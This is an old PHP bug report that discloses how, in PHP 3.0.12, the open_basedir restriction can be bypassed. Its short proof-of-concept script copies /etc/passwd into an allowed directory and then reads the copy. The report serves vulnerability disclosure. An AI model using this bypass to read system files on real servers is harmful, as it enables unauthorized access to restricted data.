Bug #3454: Allows access to any directory on server

From: norikd@usa.net Operating system: RedHat 5.1 PHP version: 3.0.12 PHP Bug Type: Other Bug description: Allows access to any directory on server php3.ini as follows safe_mode=1 safe_mode_exec_string=/www/sites/mysite/cgi-bin doc_root=/www/sites/mysite open_basedir=/www/sites/mysite extension=pgsql.so test.php3 <?php copy("/etc/passwd","passwd"); /* this works */ $fd=fopen("passwd","r"); /* so does this */ fclose($fd); /* and this */ $fd=fopen("/etc/passwd","r"); /* this does is not successful */ fclose($fd); /* as it should not be */ ?> So the system will allow me to copy the passwd file to a local allowd directory and then open it which bypasses the fact that I have restricted the system with open_basedir directive. thanks